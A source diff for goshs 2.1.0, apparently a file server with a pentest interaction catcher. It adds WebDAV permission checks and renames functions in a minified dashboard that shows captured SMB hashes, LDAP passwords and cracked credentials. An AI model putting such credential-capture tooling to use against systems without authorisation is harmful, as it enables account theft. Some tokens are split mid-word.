new/goshs-2.1.0/httpserver/server.go 2026-05-29 12:20:25.000000000 +0200 @@ -92,7 +92,7 @@ MaxUpload: opts.MaxUploadSize, Options: opts, CSRFToken: generateCSRFToken(), - authCache: make(map[string]bool), + authCache: make(map[string]time.Time), authFailures: make(map[string]*authFailEntry), } @@ -226,12 +226,34 @@ }, } + // Enforce mode flags on WebDAV verbs + wdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodPut, "MKCOL", "MOVE", "COPY": + if fs.ReadOnly { + http.Error(w, "read-only", http.StatusForbidden) + return + } + case http.MethodDelete: + if fs.ReadOnly || fs.UploadOnly || fs.NoDelete { + http.Error(w, "delete disabled", http.StatusForbidden) + return + } + case http.MethodGet, http.MethodHead: + if fs.UploadOnly { + http.Error(w, "upload-only", http.StatusForbidden) + return + } + } + wdHandler.ServeHTTP(w, r) + }) + // Check Basic Auth and use middleware if fs.User != "" || fs.Pass != "" { - authHandler := fs.BasicAuthMiddleware(wdHandler) + authHandler := fs.BasicAuthMiddleware(wdGuard) mux.Handle("/", authHandler) } else { - mux.Handle("/", wdHandler) + mux.Handle("/", wdGuard) } addr = net.JoinHostPort(fs.IP, strconv.Itoa(fs.WebdavPort)) default: diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/static/js/main.min.js new/goshs-2.1.0/httpserver/static/js/main.min.js --- old/goshs-2.0.9/httpserver/static/js/main.min.js 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/static/js/main.min.js 2026-05-29 12:20:25.000000000 +0200 @@ -1,10 +1,10 @@ -(()=>{var r={sortCol:"name",sortAsc:!0,dnsEvents:[],smtpEvents:[],smbEvents:[],ldapEvents:[],httpEvents:[],dnsCnt:{total:0,A:0,MX:0,TXT:0,other:0},httpCnt:0,pendingUploads:[],shareTarget:"",ws:null,theme:localStorage.getItem("goshs-theme")||"dark"};function d(e){return String(e).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""")}function T(){let e=document.getElementById("collab-badge"),t=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;e.textContent=t,t>0?e.classList.add("show"):e.classList.remove("show")}function w(e,t){document.getElementById(e).textContent=t}function I(e,t){let s=new Blob([JSON.stringify(e,null,2)],{type:"application/json"}),o=URL.createObjectURL(s),n=document.createElement("a");n.href=o,n.download=t,document.body.appendChild(n),n.click(),document.body.removeChild(n),URL.revokeObjectURL(o)}function D(e){return e<1024?e+" B":e<1048576?(e/1024).toFixed(1)+" KB":e<1073741824?(e/1048576).toFi xed(1)+" MB":(e/1073741824).toFixed(2)+" GB"}var le=()=>{};function de(e){le=e}function S(e){document.getElementById(e).classList.add("open")}function A(e){document.getElementById(e).classList.remove("open"),e==="share-modal"&&location.reload()}function m(e,t="success"){let s={success:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><polyline points="20 6 9 17 4 12"/></svg>',error:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="12" cy="12" r="10"/><line x1="15" y1="9" x2="9" y2="15"/><line x1="9" y1="9" x2="15" y2="15"/></svg>',warn:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>'},o=document.createElement("div");o.className=`toast ${t}`,o.innerH TML=(s[t]||"")+d(e),document.getElementById("toast-container").appendChild(o),setTimeout(()=>{o.style.opacity="0",o.style.transition="opacity .3s",setTimeout(()=>o.remove(),300)},3500)}document.addEventListener("click",e=>{e.target.classList.contains("modal-backdrop")&&A(e.target.id)});document.addEventListener("keydown",e=>{e.key==="Escape"&&(document.querySelectorAll(".modal-backdrop.open").forEach(t=>t.classList.remove("open")),le())});function pe(e){if(!/^[\[{]/.test(e.trim()))return null;try{let t=JSON.parse(e),s=_(t);return JSON.stringify(s,null,2)}catch{return null}}function _(e){if(Array.isArray(e))return e.map(_);if(e!==null&&typeof e=="object"){let t={};for(let[s,o]of Object.entries(e))t[s]=_(o);return t}return typeof e=="string"?It(e):e}function It(e){if(!e||e.length<8)return e;let t=Y(e);if(t)try{return{__decoded:"JWT",__value:JSON.parse(t)}}catch{return{__decoded:"JWT",__value:t}}let s=q(e);if(s){let o=(()=>{try{return/^[\[{]/.test(s.trim())?JSON.parse(s):null}catch{ret urn null}})();return o?{__decoded:"base64\u2192JSON",__value:_(o)}:{__decoded:"base64",__value:s}}return e}function q(e){if(!e||e.length<8)return null;let t=e.replace(/[\r\n]/g,""),s=/^[A-Za-z0-9+/]+=*$/.test(t),o=/^[A-Za-z0-9\-_]+=*$/.test(t);if(!s&&!o)return null;let n=t.replace(/-/g,"+").replace(/_/g,"/"),a=n.length%4,c=a===0?n:n+"=".repeat(4-a);try{let i=atob(c),l=0;for(let p=0;p<i.length;p++){let h=i.charCodeAt(p);(h<9||h>13&&h<32||h>=127)&&l++}return i.length>0&&l/i.length>.1?null:i}catch{return null}}function H(e){let t=pe(e);if(t)return{text:t,tag:"JSON"};let s=Y(e);if(s)return{text:s,tag:"JWT"};let o=q(e);if(o){let n=pe(o);return n?{text:n,tag:"base64 \u2192 JSON"}:{text:o,tag:"base64"}}return null}function Pt(e){if(!e||!e.trim())return{text:e,tag:null};let t=e.trim(),s=H(t);if(s)return s;if(t.includes("=")&&!t.startsWith("{")&&!t.startsWith("[")){let n=t.split("&").map(c=>{let i=c.indexOf("=");if(i===-1)return decodeURIComponent(c);let l=decodeURIComponent(c.slice(0,i)),p= decodeURIComponent(c.slice(i+1)),h=H(p);return h?`${l} [${h.tag}] = ${h.text.includes(` +(()=>{var r={sortCol:"name",sortAsc:!0,dnsEvents:[],smtpEvents:[],smbEvents:[],ldapEvents:[],httpEvents:[],dnsCnt:{total:0,A:0,MX:0,TXT:0,other:0},httpCnt:0,pendingUploads:[],shareTarget:"",ws:null,theme:localStorage.getItem("goshs-theme")||"dark"};function d(e){return String(e).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""")}function T(){let e=document.getElementById("collab-badge"),t=r.httpCnt+r.dnsEvents.length+r.smtpEvents.length+r.smbEvents.length+r.ldapEvents.length;e.textContent=t,t>0?e.classList.add("show"):e.classList.remove("show")}function w(e,t){document.getElementById(e).textContent=t}function I(e,t){let s=new Blob([JSON.stringify(e,null,2)],{type:"application/json"}),o=URL.createObjectURL(s),n=document.createElement("a");n.href=o,n.download=t,document.body.appendChild(n),n.click(),document.body.removeChild(n),URL.revokeObjectURL(o)}function R(e){return e<1024?e+" B":e<1048576?(e/1024).toFixed(1)+" KB":e<1073741824?(e/1048576).toFi xed(1)+" MB":(e/1073741824).toFixed(2)+" GB"}var le=()=>{};function de(e){le=e}function S(e){document.getElementById(e).classList.add("open")}function A(e){document.getElementById(e).classList.remove("open"),e==="share-modal"&&location.reload()}function m(e,t="success"){let s={success:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><polyline points="20 6 9 17 4 12"/></svg>',error:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="12" cy="12" r="10"/><line x1="15" y1="9" x2="9" y2="15"/><line x1="9" y1="9" x2="15" y2="15"/></svg>',warn:'<svg class="toast-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>'},o=document.createElement("div");o.className=`toast ${t}`,o.innerH TML=(s[t]||"")+d(e),document.getElementById("toast-container").appendChild(o),setTimeout(()=>{o.style.opacity="0",o.style.transition="opacity .3s",setTimeout(()=>o.remove(),300)},3500)}document.addEventListener("click",e=>{e.target.classList.contains("modal-backdrop")&&A(e.target.id)});document.addEventListener("keydown",e=>{e.key==="Escape"&&(document.querySelectorAll(".modal-backdrop.open").forEach(t=>t.classList.remove("open")),le())});function pe(e){if(!/^[\[{]/.test(e.trim()))return null;try{let t=JSON.parse(e),s=_(t);return JSON.stringify(s,null,2)}catch{return null}}function _(e){if(Array.isArray(e))return e.map(_);if(e!==null&&typeof e=="object"){let t={};for(let[s,o]of Object.entries(e))t[s]=_(o);return t}return typeof e=="string"?It(e):e}function It(e){if(!e||e.length<8)return e;let t=Y(e);if(t)try{return{__decoded:"JWT",__value:JSON.parse(t)}}catch{return{__decoded:"JWT",__value:t}}let s=q(e);if(s){let o=(()=>{try{return/^[\[{]/.test(s.trim())?JSON.parse(s):null}catch{ret urn null}})();return o?{__decoded:"base64\u2192JSON",__value:_(o)}:{__decoded:"base64",__value:s}}return e}function q(e){if(!e||e.length<8)return null;let t=e.replace(/[\r\n]/g,""),s=/^[A-Za-z0-9+/]+=*$/.test(t),o=/^[A-Za-z0-9\-_]+=*$/.test(t);if(!s&&!o)return null;let n=t.replace(/-/g,"+").replace(/_/g,"/"),a=n.length%4,c=a===0?n:n+"=".repeat(4-a);try{let i=atob(c),l=0;for(let p=0;p<i.length;p++){let h=i.charCodeAt(p);(h<9||h>13&&h<32||h>=127)&&l++}return i.length>0&&l/i.length>.1?null:i}catch{return null}}function D(e){let t=pe(e);if(t)return{text:t,tag:"JSON"};let s=Y(e);if(s)return{text:s,tag:"JWT"};let o=q(e);if(o){let n=pe(o);return n?{text:n,tag:"base64 \u2192 JSON"}:{text:o,tag:"base64"}}return null}function Pt(e){if(!e||!e.trim())return{text:e,tag:null};let t=e.trim(),s=D(t);if(s)return s;if(t.includes("=")&&!t.startsWith("{")&&!t.startsWith("[")){let n=t.split("&").map(c=>{let i=c.indexOf("=");if(i===-1)return decodeURIComponent(c);let l=decodeURIComponent(c.slice(0,i)),p= decodeURIComponent(c.slice(i+1)),h=D(p);return h?`${l} [${h.tag}] = ${h.text.includes(` `)?` `+h.text.split(` `).map(u=>" "+u).join(` `):h.text}`:`${l} = ${p}`}).join(` -`),a=t.split("&").some(c=>{let i=c.indexOf("=");return i===-1?!1:H(decodeURIComponent(c.slice(i+1)))!==null});return{text:n,tag:a?"form-decoded":null}}return{text:e,tag:null}}function Nt(e){if(!e)return"";try{return e.split("&").map(t=>{let s=t.indexOf("=");if(s===-1)return decodeURIComponent(t);let o=decodeURIComponent(t.slice(0,s)),n=decodeURIComponent(t.slice(s+1)),a=H(n);if(!a)return`${o} = ${n}`;let c=` [${a.tag}]`,i=a.text.includes(` +`),a=t.split("&").some(c=>{let i=c.indexOf("=");return i===-1?!1:D(decodeURIComponent(c.slice(i+1)))!==null});return{text:n,tag:a?"form-decoded":null}}return{text:e,tag:null}}function Nt(e){if(!e)return"";try{return e.split("&").map(t=>{let s=t.indexOf("=");if(s===-1)return decodeURIComponent(t);let o=decodeURIComponent(t.slice(0,s)),n=decodeURIComponent(t.slice(s+1)),a=D(n);if(!a)return`${o} = ${n}`;let c=` [${a.tag}]`,i=a.text.includes(` `)?` `+a.text.split(` `).map(l=>" "+l).join(` @@ -15,7 +15,7 @@ `)?` `+n.text.split(` `).map(c=>" "+c).join(` -`):n.text;return`${t} [${n.tag}]: ${a}`}return`${t}: ${s}`}let o=H(s);if(o){let n=o.text.includes(` +`):n.text;return`${t} [${n.tag}]: ${a}`}return`${t}: ${s}`}let o=D(s);if(o){let n=o.text.includes(` `)?` `+o.text.split(` `).map(a=>" "+a).join(` @@ -65,11 +65,11 @@ <div class="http-detail-value">${d(n.timestamp?new Date(n.timestamp).toLocaleString():"\u2014")}</div> </div> </div> - </td>`,t.appendChild(b)})}function me(e,t){let s=document.getElementById(t);if(!s)return;let o=s.style.display!=="none";s.style.display=o?"none":"",e.textContent=o?"\u25BE":"\u25B4",e.closest("tr").classList.toggle("expanded",!o)}function ue(){I(r.httpEvents,"goshs-http-log.json")}function he(){I(r.dnsEvents,"goshs-dns-log.json")}function fe(){I(r.smtpEvents,"goshs-smtp-log.json")}function ye(){I(r.smbEvents,"goshs-smb-log.json")}function be(){I(r.ldapEvents,"goshs-ldap-log.json")}function ge(){I({generatedAt:new Date().toISOString(),http:r.httpEvents,dns:r.dnsEvents,smtp:r.smtpEvents,smb:r.smbEvents,ldap:r.ldapEvents},"goshs-all-logs.json")}function ve(){J()}function we(){r.httpEvents=[],r.httpCnt=0,w("http-badge","0"),r.ws.send(JSON.stringify({type:"clearHTTP"})),T(),J()}function Dt(e){r.dnsEvents.unshift(e),r.dnsCnt.total++,e.qtype==="A"?r.dnsCnt.A++:e.qtype==="MX"?r.dnsCnt.MX++:e.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++,w("dns-badge",r.dnsEvents.length),w("dns-cnt-total ",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other),T(),j()}function Ht(e){return{A:"qt-A",AAAA:"qt-AAAA",MX:"qt-MX",TXT:"qt-TXT",NS:"qt-NS",CNAME:"qt-CNAME"}[e]||"qt-other"}function jt(e){let t=(e||"").replace(/\.$/,""),s=t.split(".");if(s.length<=2)return`<span class="qname">${d(t)}</span>`;let o=d(s.slice(0,-2).join(".")),n=d(s.slice(-2).join("."));return`<span class="qname">${o}.<span class="qname-tld">${n}</span></span>`}function j(){let e=(document.getElementById("dns-search").value||"").toLowerCase(),t=document.getElementById("dns-tbody"),s=document.getElementById("dns-empty-row"),o=r.dnsEvents.filter(n=>!e||(n.name||"").toLowerCase().includes(e)||(n.qtype||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.length?"none":"",t.querySelectorAll("tr.data-row").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let c=document.createElement("tr");c.classNa me="data-row"+(a===0&&!e?" new-row":""),c.innerHTML=` + </td>`,t.appendChild(b)})}function me(e,t){let s=document.getElementById(t);if(!s)return;let o=s.style.display!=="none";s.style.display=o?"none":"",e.textContent=o?"\u25BE":"\u25B4",e.closest("tr").classList.toggle("expanded",!o)}function ue(){I(r.httpEvents,"goshs-http-log.json")}function he(){I(r.dnsEvents,"goshs-dns-log.json")}function fe(){I(r.smtpEvents,"goshs-smtp-log.json")}function ye(){I(r.smbEvents,"goshs-smb-log.json")}function be(){I(r.ldapEvents,"goshs-ldap-log.json")}function ge(){I({generatedAt:new Date().toISOString(),http:r.httpEvents,dns:r.dnsEvents,smtp:r.smtpEvents,smb:r.smbEvents,ldap:r.ldapEvents},"goshs-all-logs.json")}function ve(){J()}function we(){r.httpEvents=[],r.httpCnt=0,w("http-badge","0"),r.ws.send(JSON.stringify({type:"clearHTTP"})),T(),J()}function Dt(e){r.dnsEvents.unshift(e),r.dnsCnt.total++,e.qtype==="A"?r.dnsCnt.A++:e.qtype==="MX"?r.dnsCnt.MX++:e.qtype==="TXT"?r.dnsCnt.TXT++:r.dnsCnt.other++,w("dns-badge",r.dnsEvents.length),w("dns-cnt-total ",r.dnsCnt.total),w("dns-cnt-a",r.dnsCnt.A),w("dns-cnt-mx",r.dnsCnt.MX),w("dns-cnt-txt",r.dnsCnt.TXT),w("dns-cnt-other",r.dnsCnt.other),T(),H()}function Ht(e){return{A:"qt-A",AAAA:"qt-AAAA",MX:"qt-MX",TXT:"qt-TXT",NS:"qt-NS",CNAME:"qt-CNAME"}[e]||"qt-other"}function jt(e){let t=(e||"").replace(/\.$/,""),s=t.split(".");if(s.length<=2)return`<span class="qname">${d(t)}</span>`;let o=d(s.slice(0,-2).join(".")),n=d(s.slice(-2).join("."));return`<span class="qname">${o}.<span class="qname-tld">${n}</span></span>`}function H(){let e=(document.getElementById("dns-search").value||"").toLowerCase(),t=document.getElementById("dns-tbody"),s=document.getElementById("dns-empty-row"),o=r.dnsEvents.filter(n=>!e||(n.name||"").toLowerCase().includes(e)||(n.qtype||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.length?"none":"",t.querySelectorAll("tr.data-row").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let c=document.createElement("tr");c.classNa me="data-row"+(a===0&&!e?" new-row":""),c.innerHTML=` <td class="dns-ts">${n.timestamp?new Date(n.timestamp).toLocaleTimeString():""}</td> <td><span class="qtype-tag ${Ht(n.qtype||"")}">${d(n.qtype||"?")}</span></td> <td>${jt(n.name)}</td> - <td class="dns-source">${d(n.source||"")}</td>`,t.insertBefore(c,s.nextSibling||null),t.appendChild(c)})}function xe(){r.dnsEvents=[],r.dnsCnt={total:0,A:0,MX:0,TXT:0,other:0},["total","a","mx","txt","other"].forEach(e=>{let t=document.getElementById("dns-cnt-"+e);t&&(t.textContent="0")}),w("dns-badge","0"),r.ws.send(JSON.stringify({type:"clearDNS"})),T(),j()}function Ut(e){console.log(e),r.smbEvents.unshift(e),w("smb-badge",r.smbEvents.length),T(),U()}function U(){let e=(document.getElementById("smb-search").value||"").toLowerCase(),t=document.getElementById("smb-inbox"),s=document.getElementById("smb-empty"),o=r.smbEvents.filter(n=>!e||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".smb-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let c=document.createElement("div"),i=a===0&&!e;c.classNa me="smb-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let l=n.timestamp?new Date(n.timestamp).toLocaleTimeString():"",p=[n.username,n.domain].filter(Boolean).join("@")||"unknown",h="smb-hash-"+Math.random().toString(36).slice(2),u=document.createElement("div");u.className="smb-card-header",u.innerHTML=` + <td class="dns-source">${d(n.source||"")}</td>`,t.insertBefore(c,s.nextSibling||null),t.appendChild(c)})}function xe(){r.dnsEvents=[],r.dnsCnt={total:0,A:0,MX:0,TXT:0,other:0},["total","a","mx","txt","other"].forEach(e=>{let t=document.getElementById("dns-cnt-"+e);t&&(t.textContent="0")}),w("dns-badge","0"),r.ws.send(JSON.stringify({type:"clearDNS"})),T(),H()}function Ut(e){console.log(e),r.smbEvents.unshift(e),w("smb-badge",r.smbEvents.length),T(),j()}function j(){let e=(document.getElementById("smb-search").value||"").toLowerCase(),t=document.getElementById("smb-inbox"),s=document.getElementById("smb-empty"),o=r.smbEvents.filter(n=>!e||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e));s.style.display=o.length?"none":"flex",t.querySelectorAll(".smb-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let c=document.createElement("div"),i=a===0&&!e;c.classNa me="smb-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let l=n.timestamp?new Date(n.timestamp).toLocaleTimeString():"",p=[n.username,n.domain].filter(Boolean).join("@")||"unknown",h="smb-hash-"+Math.random().toString(36).slice(2),u=document.createElement("div");u.className="smb-card-header",u.innerHTML=` <span class="smb-badge-type">${d(n.hashType||"\u2014")}</span> ${n.crackedPassword?'<span class="smb-badge-cracked">cracked</span>':""} <div class="smb-header-meta"> @@ -109,7 +109,7 @@ </button> </div> </div>`:""} - `;let b=C.querySelector(".smb-copy-btn");b&&(b.onclick=f=>{f.stopPropagation();let y=document.getElementById(h)?.textContent||"";navigator.clipboard.writeText(y).then(()=>m("Hash copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild(C),t.appendChild(c)})}function Ce(){r.smbEvents=[],w("smb-badge","0"),r.ws.send(JSON.stringify({type:"clearSMB"})),T(),U()}function Ft(e){r.ldapEvents.unshift(e),w("ldap-badge",r.ldapEvents.length),T(),F()}function F(){let e=(document.getElementById("ldap-search").value||"").toLowerCase(),t=document.getElementById("ldap-inbox"),s=document.getElementById("ldap-empty"),o=r.ldapEvents.filter(n=>!e||(n.dn||"").toLowerCase().includes(e)||(n.password||"").toLowerCase().includes(e)||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e)||(n.crackedPassword||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.lengt h?"none":"flex",t.querySelectorAll(".ldap-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let c=document.createElement("div"),i=a===0&&!e;c.className="smb-card ldap-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let l=n.timestamp?new Date(n.timestamp).toLocaleTimeString():"",p=n.operation==="bind",h=p?"var(--green)":"var(--purple)",u=document.createElement("div");u.className="smb-card-header",u.innerHTML=` + `;let b=C.querySelector(".smb-copy-btn");b&&(b.onclick=f=>{f.stopPropagation();let y=document.getElementById(h)?.textContent||"";navigator.clipboard.writeText(y).then(()=>m("Hash copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild(C),t.appendChild(c)})}function Ce(){r.smbEvents=[],w("smb-badge","0"),r.ws.send(JSON.stringify({type:"clearSMB"})),T(),j()}function Ft(e){r.ldapEvents.unshift(e),w("ldap-badge",r.ldapEvents.length),T(),U()}function U(){let e=(document.getElementById("ldap-search").value||"").toLowerCase(),t=document.getElementById("ldap-inbox"),s=document.getElementById("ldap-empty"),o=r.ldapEvents.filter(n=>!e||(n.dn||"").toLowerCase().includes(e)||(n.password||"").toLowerCase().includes(e)||(n.username||"").toLowerCase().includes(e)||(n.domain||"").toLowerCase().includes(e)||(n.hash||"").toLowerCase().includes(e)||(n.crackedPassword||"").toLowerCase().includes(e)||(n.source||"").toLowerCase().includes(e));s.style.display=o.lengt h?"none":"flex",t.querySelectorAll(".ldap-card").forEach(n=>n.remove()),o.slice(0,500).forEach((n,a)=>{let c=document.createElement("div"),i=a===0&&!e;c.className="smb-card ldap-card"+(i?" new-card":"")+(n.crackedPassword?" cracked-card":"");let l=n.timestamp?new Date(n.timestamp).toLocaleTimeString():"",p=n.operation==="bind",h=p?"var(--green)":"var(--purple)",u=document.createElement("div");u.className="smb-card-header",u.innerHTML=` <span class="smb-badge-type" style="background:${h}">${d(n.operation||"\u2014")}</span> <div class="smb-header-meta"> <span class="smb-user-summary">${d(n.dn||"anonymous")}</span> @@ -201,7 +201,7 @@ </button> </div> </div>`:""} - `,$.querySelector(".ldap-copy-hash")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(y)?.textContent||"").then(()=>m("Hash copied!","ok"))}),$.querySelector(".ldap-copy-dn")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(f)?.textContent||"").then(()=>m("DN copied!","ok"))}),$.querySelector(".ldap-copy-pw")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(b)?.textContent||"").then(()=>m("Password copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild($),t.appendChild(c)})}function Se(){r.ldapEvents=[],w("ldap-badge","0"),r.ws.send(JSON.stringify({type:"clearLDAP"})),T(),F()}function Wt(e){r.smtpEvents.unshift(e),w("smtp-badge",r.smtpEvents.length),T(),W()}function _t(e){return e?e.startsWith("image/")?'<svg class="attach-icon img" viewBox="0 0 24 24" fill="none" stroke="currentCol or" stroke-width="2"><rect x="3" y="3" width="18" height="18" rx="2"/><circle cx="8.5" cy="8.5" r="1.5"/><polyline points="21 15 16 10 5 21"/></svg>':e==="text/html"?'<svg class="attach-icon html" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></svg>':e==="application/pdf"?'<svg class="attach-icon pdf" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>':e.includes("zip")||e.includes("tar")||e.includes("gz")?'<svg class="attach-icon arch" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="21 8 21 21 3 21 3 8"/><rect x="1" y="3" width="22" height="5"/><line x1="10" y1="12" x2="14" y2="12"/></svg>':'<svg class="attach-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M13 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V9z"/><polyline points="13 2 13 9 20 9"/></svg>':""}function Jt(e,t){let s=document.createElement("div");s.className="mail-card"+(t?" new-card":"");let o=(e.to||[]).join(", ")||"\u2014",n=e.timestamp?new Date(e.timestamp).toLocaleTimeString():"",a=(e.from||"?")[0].toUpperCase(),c=e.subject||"(no subject)",i=e.htmlBody&&e.htmlBody.trim().length>0,l=e.body&&e.body.trim().length>0,p=e.attachments||[],h=p.filter(g=>g.contentType&&g.contentType.startsWith("image/")),u=h.length>0,C=document.createElement("div");C.className="mail-header",C.innerHTML=` + `,$.querySelector(".ldap-copy-hash")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(y)?.textContent||"").then(()=>m("Hash copied!","ok"))}),$.querySelector(".ldap-copy-dn")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(f)?.textContent||"").then(()=>m("DN copied!","ok"))}),$.querySelector(".ldap-copy-pw")?.addEventListener("click",k=>{k.stopPropagation(),navigator.clipboard.writeText(document.getElementById(b)?.textContent||"").then(()=>m("Password copied!","ok"))}),u.onclick=()=>c.classList.toggle("open"),c.appendChild(u),c.appendChild($),t.appendChild(c)})}function Se(){r.ldapEvents=[],w("ldap-badge","0"),r.ws.send(JSON.stringify({type:"clearLDAP"})),T(),U()}function Wt(e){r.smtpEvents.unshift(e),w("smtp-badge",r.smtpEvents.length),T(),F()}function _t(e){return e?e.startsWith("image/")?'<svg class="attach-icon img" viewBox="0 0 24 24" fill="none" stroke="currentCol or" stroke-width="2"><rect x="3" y="3" width="18" height="18" rx="2"/><circle cx="8.5" cy="8.5" r="1.5"/><polyline points="21 15 16 10 5 21"/></svg>':e==="text/html"?'<svg class="attach-icon html" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></svg>':e==="application/pdf"?'<svg class="attach-icon pdf" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M14 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V8z"/><polyline points="14 2 14 8 20 8"/></svg>':e.includes("zip")||e.includes("tar")||e.includes("gz")?'<svg class="attach-icon arch" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="21 8 21 21 3 21 3 8"/><rect x="1" y="3" width="22" height="5"/><line x1="10" y1="12" x2="14" y2="12"/></svg>':'<svg class="attach-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M13 2H6a2 2 0 00-2 2v16a2 2 0 002 2h12a2 2 0 002-2V9z"/><polyline points="13 2 13 9 20 9"/></svg>':""}function Jt(e,t){let s=document.createElement("div");s.className="mail-card"+(t?" new-card":"");let o=(e.to||[]).join(", ")||"\u2014",n=e.timestamp?new Date(e.timestamp).toLocaleTimeString():"",a=(e.from||"?")[0].toUpperCase(),c=e.subject||"(no subject)",i=e.htmlBody&&e.htmlBody.trim().length>0,l=e.body&&e.body.trim().length>0,p=e.attachments||[],h=p.filter(g=>g.contentType&&g.contentType.startsWith("image/")),u=h.length>0,C=document.createElement("div");C.className="mail-header",C.innerHTML=` <div class="mail-avatar">${d(a)}</div> <div class="mail-meta"> <div class="mail-from">${d(e.from||"")}</div> @@ -216,7 +216,7 @@ ${u?'<div class="mail-body-tab" data-tab="preview">Preview</div>':""}`);let y=document.createElement("div");y.className="mail-body-section",y.style.display="none",y.dataset.pane="plain",y.innerHTML=`<pre>${d(e.body||"(empty)")}</pre>`;let $=document.createElement("div");if($.className="html-frame-wrap",$.style.display="none",$.dataset.pane="html",i){let g=document.createElement("iframe");g.className="html-frame",g.sandbox="allow-same-origin",g.srcdoc=e.htmlBody,$.appendChild(g)}let k=document.createElement("div");k.className="attach-preview",k.style.display="none",k.dataset.pane="preview",h.forEach(g=>{let v=document.createElement("img");v.className="preview-img",v.src=`/?smtp&id=${g.id}`,v.alt=g.filename,v.title=g.filename,v.onclick=()=>ee(v.src),k.appendChild(v)});let N=document.createElement("div");if(N.className="mail-attachments",N.style.display="none",p.length){N.innerHTML=`<div class="mail-attachments-label">Attachments (${p.length})</div>`;let g=document.createEl ement("div");g.className="attach-list",p.forEach(v=>{let E=document.createElement("div");E.className="attach-item",E.innerHTML=` ${_t(v.contentType)} <span class="attach-name" title="${d(v.filename)}">${d(v.filename)}</span> - <span class="attach-size">${D(v.size)}</span> + <span class="attach-size">${R(v.size)}</span> <div class="attach-actions"> <a class="btn btn-sm" href="/?smtp&id=${v.id}" download="${d(v.filename)}" title="Download"> <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="7 10 12 15 17 10"/><line x1="12" y1="15" x2="12" y2="3"/></svg> @@ -229,11 +229,11 @@ <button class="btn btn-sm" onclick="openHTMLPreview('/?smtp&id=${v.id}')" title="Render HTML"> 